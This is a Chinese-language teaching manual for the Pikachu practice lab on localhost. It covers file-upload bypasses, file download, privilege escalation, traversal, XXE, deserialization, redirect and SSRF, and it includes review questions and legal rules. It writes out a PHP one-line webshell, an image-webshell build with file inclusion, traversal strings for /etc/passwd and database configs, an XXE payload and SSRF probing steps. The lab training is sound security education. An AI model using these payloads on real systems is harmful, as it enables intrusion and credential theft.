文件上传（3 关）

动手前先准备：写一个一句话木马 evil.php（Windows 用记事本，保存时文件名写 evil.php、编码选 UTF-8）：

<?php @eval($_POST['cmd']); ?>

解释：eval 执行传入的 PHP 代码；$_POST['cmd'] 取"密码为 cmd"的 POST 数据。蚁剑连接时密码就填 cmd。

第 1 关client check（前端校验）

原理白话：只在前端 JS 校验"必须是图片后缀"。抓包绕过浏览器直接发包，服务器照单全收。

看源码：页面 JS 有 checkFileExt() 之类函数在提交前拦 .php；服务端 PHP 无任何校验。

1. 选 evil.php 点上传 → JS 弹"只允许图片"（体会前端拦路）
2. Burp 开拦截再点上传 → 抓到请求 → 找到 filename="evil.php"（如果它是被改成 .jpg 才过的 JS 校验，就把它改回 evil.php）
3. Forward 放行 → 上传成功，页面返回文件路径（记下，形如 unsafeupload/uploads/2026xxxx.php）
4. 用中国蚁剑连接该路径（2.3 节）：URL 填 http://127.0.0.1/pikachu/unsafeupload/uploads/你的文件名.php，密码填 cmd
5. 连接成功 → 打开虚拟终端输入 whoami 回车 → 出现用户名 → webshell 上线，通关

过关标准达成：webshell 上线。学习要点：前端校验只是"体验优化"，不是安全措施。

🤔 想一想：如果服务器把上传文件名强制改成 .jpg，木马还能执行吗？

答：不能直接执行，但配合文件包含/解析漏洞仍可能——引出下一关的图片马

第 2 关MIME type（Content-Type 校验）

原理白话：服务器校验的是请求头里的 Content-Type（"文件类型声明"）。这个字段由客户端说了算，改一下就行。

看源码：

// 服务器只检查上传时的 Content-Type 是否为图片类型
if ($_FILES['uploadfile']['type'] != 'image/jpeg' && ...) 拒绝

1. 直接上传 evil.php → 被拒（体会服务端在查）
2. Burp 抓上传请求 → 找到 Content-Type: application/octet-stream（或 text/php）
3. 改成 Content-Type: image/jpeg
4. 放行 → 上传成功 → 蚁剑连接（同 3.7.1 第 4-5 步）

过关标准达成：绕过成功。学习要点：Content-Type 是"自称"，不是"真相"——真正可靠的内容识别要看文件头字节（magic number）。

🤔 想一想：攻击者改 Content-Type 为什么能骗过服务器？

答：这个字段本来就是客户端生成的元数据，可任意伪造

第 3 关getimagesize（图片马）

原理白话：服务器用 getimagesize() 检查文件头，确认是真图片。绕过思路：图片是真的，但里面夹带 PHP 代码。

1. 制作图片马（Windows 的 CMD 里执行）：

copy /b 正常图片.jpg + evil.php 图片马.jpg （macOS 终端：cat 正常图片.jpg evil.php > 图片马.jpg） （没有现成图片就随便截个图保存为 jpg）

1. 上传图片马 → 通过 getimagesize 校验（它开头是合法图片头）
2. 服务器存为 .jpg 后缀，直接访问不会执行 PHP（先试一下直接访问，看到乱码/图片——理解为什么）
3. 配合 3.6.1 本地文件包含执行它：

http://127.0.0.1/pikachu/vul/fileinclude/fi_local.php?filename=../../unsafeupload/uploads/图片马.jpg

1. 包含时 jpg 里的 PHP 代码被执行 → 页面出现代码执行结果

过关标准达成：理解"图片马 + 文件包含"组合拳。学习要点：单独看上传校验很严，但和其他漏洞组合后依然被打穿——安全是体系，不是单点。

🤔 想一想：为什么图片马直接访问不执行？

答：.jpg 后缀不会交给 PHP 解释器；必须借文件包含让 PHP 引擎去读它

原理白话：下载接口按用户传的文件名拼接路径读取文件，无校验 → 任意文件下载。

看源码：

$filename = $_GET['filename'];
$file = file_get_contents($filename);   // 用户可控

1. 正常点"下载" → 下载一个 txt（先看正常流程）
2. Burp 抓请求改参数：?filename=../inc/config.inc.php → 直接下载到靶场数据库配置（含账号密码）
3. Windows 进阶：?filename=..\..\..\..\windows\win.ini；macOS：?filename=../../../../etc/passwd

过关标准达成：敏感配置文件到手。学习要点：下载接口和文件包含是"近亲"——一个读内容给攻击者，一个把内容执行出来。

🤔 想一想：下载配置文件的危害是什么？

答：拿到数据库口令，可能直接进数据库或反查其他系统复用密码

第 1 关水平越权

原理白话：服务器用客户端传来的 username 参数查库，身份校验缺失。

看源码：

// 只检查了登录态，直接按传入的 username 查库
$sql = "select * from member where username='{$_GET['username']}'";

1. 用 lucy / 123456 登录，查看自己的信息，URL 形如 ?username=lucy
2. 把 URL 改成 ?username=vince → 看到了 vince 的个人信息（手机号、邮箱等）
3. 依次换成 allen、kobe……全部可见

过关标准达成：任意同级别用户信息可读。学习要点："对象级授权"缺失——OWASP 把它列为 API 安全第一大问题（BOLA）。

🤔 想一想：如果这关改的是 ?username=admin 会怎样？

答：能看到管理员信息——水平越权和垂直越权经常连着发生

第 2 关垂直越权

原理白话：前端把"添加用户"按钮隐藏了（普通用户看不到），但后端接口没有做权限校验——直接访问接口照样能用。

看源码：管理员页面 op2_admin.php 处理添加用户请求，没有任何"当前用户是否是管理员"的判断。

1. 用普通用户 pikachu / 000000 登录 → 页面确实没有"添加用户"按钮（前端隐藏，先确认）
2. 直接访问管理员功能页：http://127.0.0.1/pikachu/vul/overpermission/op2/op2_admin.php
3. 通过该页添加一个新管理员（如 admin2 / 123456）
4. 退出，用 admin2 / 123456 登录 → 已是管理员权限，提权成功

过关标准达成：普通用户自封管理员。学习要点：前端隐藏 ≠ 权限控制，权限必须后端每个接口都校验。

🤔 想一想：为什么攻击者能"发现"这个隐藏页面？

答：页面路径在 JS/HTML 源码里能找到，且 Web 页面无秘密可言——前端所有内容都能被看到

原理白话：页面按用户传的 title 参数读取文件内容，无校验 → 路径穿越读任意文件。

1. 正常点标题 → 读出对应 txt（先看正常流程）
2. macOS：?title=../../../../etc/passwd
3. Windows：?title=..\..\..\..\windows\win.ini
4. 实战目标：?title=../inc/config.inc.php 读数据库配置

过关标准达成：任意文件内容显示。

🤔 想一想：目录遍历和本地文件包含看起来一样，本质区别是什么？

答：遍历只是"读出来"，包含是"执行"——LFI 可升级 RCE，危险得多

原理白话：开发者把敏感信息（账号、隐藏路径）放在网页注释、备份文件等"以为没人看"的地方。

1. 打开关卡页面 → F12 查看网页源代码 → 发现 HTML 注释里有隐藏提示（"看看你的 abc"之类）

（HTML 注释长这样：<!-- 我是注释，页面上不显示 -->）

1. 按提示访问 /vul/infoleak/abc.php → 页面显示隐藏的账号密码

过关标准达成：拿到隐藏账号。学习要点：真实世界的版本是——.git 泄露、www.zip 备份、注释里的测试账号、debug 开关没关。

🤔 想一想：真实网站里"敏感信息泄露"最常见的形式有哪些？

答：源码备份文件、git/svn 目录、报错信息暴露路径、API 接口文档未删

原理白话：序列化=把对象存成字符串，反序列化=把字符串变回对象。如果对象创建时（构造方法）会执行代码，而攻击者能控制序列化字符串，就能触发代码执行。

看源码：

class S {
    var $test = "pikachu";
    function __construct() {
        echo $this->test;      // 对象创建即输出
    }
}
$s = unserialize($_GET['s']);  // 直接反序列化用户输入

1. 访问：http://127.0.0.1/pikachu/vul/unserilization/unser.php?s=O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}
2. 弹窗即通关
3. 解释字符串格式（重点）：

• O:1:"S" = 对象（Object），类名长度 1 的字符串 "S"
• 1:{...} = 1 个属性
• s:4:"test" = 字符串（string），长度 4，内容是 "test"（属性名）
• s:29:"<script>..." = 字符串，长度 29，内容是属性值

1. 反序列化时 __construct 被触发 → 输出我们伪造的 test → XSS 弹窗

过关标准达成：弹窗。学习要点：长度必须数对，差一个字符就失败——体会"构造 payload 要严谨"。深入一步：真实世界的反序列化 RCE 靠"魔术方法链"（gadget chain），入门阶段了解即可，进阶可深入研究。

🤔 想一想：为什么这一关的 payload 长度错了就失败？

答：序列化格式用长度定位字段，长度错位整个结构解析失败

原理白话：应用解析用户提交的 XML 时，如果允许"外部实体"，攻击者可以用 <!ENTITY> 声明实体引用任意文件/URL，XML 解析器会乖乖去读取并回显。

1. 页面表单输入恶意 XML：

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<foo>&xxe;</foo>

（解释：<!ENTITY xxe SYSTEM "file:///etc/passwd"> 声明了一个叫 xxe 的实体，指向系统文件；<foo>&xxe;</foo> 引用它 → 解析器读文件并放进来）

1. 提交 → 解析结果里出现 /etc/passwd 内容（macOS）
2. Windows 版本把实体改为：SYSTEM "file:///c:/windows/win.ini"
3. 进阶：读靶场配置 file:///D:/phpstudy_pro/WWW/pikachu/inc/config.inc.php（按实际路径）

过关标准达成：任意本地文件被读出。

🤔 想一想：XXE 和 SSRF 有什么联系？

答：外部实体可以指向内网 URL，让服务器代理访问内网——XXE 常作为 SSRF 的载体

原理白话：跳转接口信任用户传的目标地址，跳转到钓鱼站点时用户毫无防备（地址栏一开始是可信域名）。

1. 页面上点链接 → 跳转目标由 ?url= 参数控制（先正常点一次看流程）
2. 改成：?url=https://www.baidu.com → 跳到百度（证明任意跳转成立）
3. 危险演示：?url=javascript:alert(document.cookie) → 部分浏览器直接执行 JS

过关标准达成：任意跳转成立。

🤔 想一想：为什么攻击者不直接发钓鱼链接，要借跳转？

答：借用可信域名增加可信度，绕过邮件/社交平台对陌生域名的告警

第 1 关SSRF（curl）

原理白话：页面提供一个"URL 查看"工具，服务器用 curl 请求用户给的 URL 并回显——无任何目标校验。

看源码：

$url = $_GET['url'];
echo curl_exec($ch);   // curl 用户可控的 URL

1. 输入 http://127.0.0.1/pikachu/ → 正常回显（注意：这是服务器自己访问自己，体会"服务器替你发请求"）
2. 读靶场内网信息页：http://127.0.0.1/pikachu/vul/ssrf/ssrf_info/info.php → 回显内部信息

1. macOS：file:///etc/passwd 直接读本地文件（curl 支持 file 协议）
2. 了解内网探测思路：把 127.0.0.1 换成内网 IP 段（如 192.168.1.1）逐个探测端口——这就是打内网的入口（真实环境中这才是 SSRF 的完整用法，靶场里了解思路即可）

过关标准达成：内网资源被"借"服务器之手访问。

🤔 想一想：curl 这关能直接读服务器本机文件吗？

答：curl 默认打 http 协议；要读文件得配合 file:// 或靠下一关 file_get_contents，这正是两关能力的区别

第 2 关SSRF（file_get_contents）

原理白话：同上，只是读取函数换成 PHP 的 file_get_contents()，它同样支持 URL 和 file 协议。

1. ?file=http://127.0.0.1/pikachu/vul/ssrf/ssrf_info/info.php → 内网信息回显
2. macOS：?file=file:///etc/passwd → 本地文件读取
3. 与 curl 版对照，理解"危险的不是函数，而是未校验的用户可控 URL"

过关标准达成：内网访问成立。

🤔 想一想：SSRF 探测内网端口时，怎么判断端口是否开放？

答：看响应差异——返回内容/响应时间/错误信息不同

每通一关，在 □ 里打钩。建议配合"过关标准"自查，全部打钩后你就是这套靶场的全通选手了。

暴力破解（4 关）

• 3.1.1 表单暴力破解：Intruder 爆破出 123456
• 3.1.2 验证码绕过（on client）：不理验证码爆破成功
• 3.1.3 验证码绕过（on server）：复用验证码爆破成功
• 3.1.4 token 防爆破：脚本输出"密码是: 123456"

XSS（10 关）

• 3.2.1 反射型（get）：F12 改 maxlength 或 Burp 改参数后弹窗
• 3.2.2 反射型（post）：登录后提交 payload 弹窗
• 3.2.3 存储型：换浏览器访问同样弹窗
• 3.2.4 DOM 型：URL 构造 payload 弹窗
• 3.2.5 DOM 型-X：表单提交闭合 payload 弹窗
• 3.2.6 盲打：管理员后台中招，Cookie 被收走
• 3.2.7 过滤：img onerror 绕过弹窗
• 3.2.8 htmlspecialchars：javascript: 协议点链接弹窗
• 3.2.9 href 输出：javascript: 协议弹窗
• 3.2.10 js 输出：闭合引号弹窗

CSRF（3 关）

• 3.3.1 CSRF（get）：点恶意链接资料被改
• 3.3.2 CSRF（post）：本地钓鱼页自动提交成功
• 3.3.3 CSRF Token：错误 token 被服务器拒绝

SQL 注入（10 关）

• 3.4.1 数字型：or 1=1 查全表
• 3.4.2 字符型：引号闭合查全表
• 3.4.3 搜索型：%' or 1=1# 查全表
• 3.4.4 xx 型：') or 1=1# 查全表
• 3.4.5 insert/update：updatexml 报错带出库名
• 3.4.6 delete：报错带出库名
• 3.4.7 http header：改 User-Agent 报错带出库名
• 3.4.8 布尔盲注：真假差异猜出数据
• 3.4.9 时间盲注：sleep 延迟差异
• 3.4.10 宽字节：%df 吃掉反斜杠

RCE（2 关）

• 3.5.1 exec "ping"：命令拼接执行 ipconfig/whoami
• 3.5.2 exec "eval"：phpinfo() 页面出现

文件包含（2 关）

• 3.6.1 LFI：读出 win.ini / etc/passwd
• 3.6.2 RFI：远程 txt 代码被执行

文件上传（3 关）

• 3.7.1 client check：改包上传，蚁剑连上
• 3.7.2 MIME：改 Content-Type 上传，蚁剑连上
• 3.7.3 图片马：配合 LFI 执行代码

文件下载（1 关）

• 3.8 文件下载：下载到 config.inc.php

越权（2 关）

• 3.9.1 水平越权：lucy 看到 vince 信息
• 3.9.2 垂直越权：普通用户自封管理员

目录遍历（1 关）

• 3.10 目录遍历：读出任意文件

敏感信息泄露（1 关）

• 3.11 敏感信息泄露：源码注释里拿到隐藏账号

PHP 反序列化（1 关）

• 3.12 反序列化：构造序列化串弹窗

XXE（1 关）

• 3.13 XXE：外部实体读出系统文件

URL 跳转（1 关）

• 3.14 URL 跳转：任意跳转成立

SSRF（2 关）

• 3.15.1 SSRF（curl）：回显内网信息页
• 3.15.2 SSRF（file_get_contents）：回显内网信息页

暴力破解

1. 简述验证码绕过（on server）关卡为什么同一个验证码能反复用？（要点：session 未销毁，一次性机制缺失）
2. token 防爆破关卡的 token 从哪来？为什么爆破工具不能直接重用？（要点：服务端生成、每次刷新、攻击者拿不到新值）
3. 设计一个登录接口的三个防爆破措施。（要点：锁定/限流/验证码/token 任选三）

XSS

1. 反射型、存储型、DOM 型三种 XSS 的区别？（要点：是否入库、是否经服务器、危害范围）
2. 为什么过滤 <script> 关键字防不住 XSS？举两个绕过例子。（要点：img onerror、svg onload、大小写等）
3. htmlspecialchars 使用正确（ENT_QUOTES）但输出在 href 里，还有风险吗？（要点：javascript: 协议，需协议白名单）
4. 盲打 XSS 的目标是谁？为什么选择打后台？（要点：管理员权限高、后台防护常被忽视）

CSRF

1. 用一句话解释 CSRF 为什么能成立？（要点：浏览器自动携带 Cookie，服务器无法区分"本人操作"与"被伪造请求"）
2. GET 改 POST 能防 CSRF 吗？为什么？（要点：不能，POST 也能被自动提交表单伪造）
3. CSRF Token 为什么攻击者拿不到？（要点：随机生成、同源策略保护、不在攻击者可读处）

SQL 注入

1. 字符型注入 payload 1' or '1'='1 中每个部分的作用？（要点：闭合、恒真、语法补全）
2. 报错注入利用了什么机制把数据带出来？（要点：updatexml 等函数参数不合法→报错信息包含数据）
3. 布尔盲注和时间盲注分别靠什么"信使"传数据？（要点：页面真假差异 / 响应时间）
4. 宽字节注入为什么能绕过 addslashes？（要点：GBK 多字节吞掉反斜杠）
5. 为什么参数化查询能防所有 SQL 注入？（要点：语句结构与数据分离，数据不再被解析为代码）

RCE / 文件包含 / 文件上传

1. 命令注入里 ; & && | 分别是什么作用？（要点：顺序/后台/与/管道）
2. 图片马为什么直接访问不执行、配合文件包含就执行？（要点：后缀不交 PHP 解释器 vs include 强制解析）
3. 文件上传的三道正确防线？（要点：服务端内容校验、目录禁执行、重命名存储）

越权 / 信息泄露

1. 水平越权和垂直越权的区别？（要点：同级别横向 vs 低权限上探高权限）
2. "前端隐藏按钮"为什么不算权限控制？（要点：前端内容攻击者全可见，必须后端校验）

进阶漏洞

1. XXE 中的 DTD 和实体是什么？（要点：DTD 定义结构、ENTITY 声明引用，外部实体可指向文件/URL）
2. SSRF 为什么能突破防火墙？（要点：请求由内网服务器发出，防火墙放行）
3. PHP 反序列化漏洞的根源是什么？（要点：unserialize 执行魔术方法，数据可控即代码可控）

期末实操考核说明（供参考）：随机抽 3 关独立通关（不允许看手册），提交通关报告（截图 + 原理 + 修复建议）。

1. 只能在本地靶场练习。对任何非授权系统（包括学校官网、同学电脑、云主机）测试漏洞，均可能触犯《刑法》第 285 条（非法侵入计算机信息系统罪）、第 286 条（破坏计算机信息系统罪）和《网络安全法》第 27 条
2. 练习限 127.0.0.1 和本机局域网靶场；不得把攻击流量发到互联网真实网站
3. 不传播、不出售攻击工具与手册给非课程同学；通关报告不公开发布
4. 将来参与 SRC（漏洞赏金）平台时，须遵守平台授权范围，越界即违法
5. 强调：学习攻击技术是为了防御，安全从业者的第一素质是底线意识

• Pikachu 源码仓库：https://github.com/zhuifengshaonianhanlu/pikachu
• PHPStudy 官网：https://www.xp.cn
• Burp Suite 社区版：https://portswigger.net/burp/communitydownload
• 中国蚁剑：https://github.com/AntSwordProject/antSword
• OWASP Top 10：https://owasp.org/www-project-top-ten/

本手册全部 payload 均针对本地 Pikachu 靶场环境，仅用于学习练习。使用时请按实际部署路径/端口微调。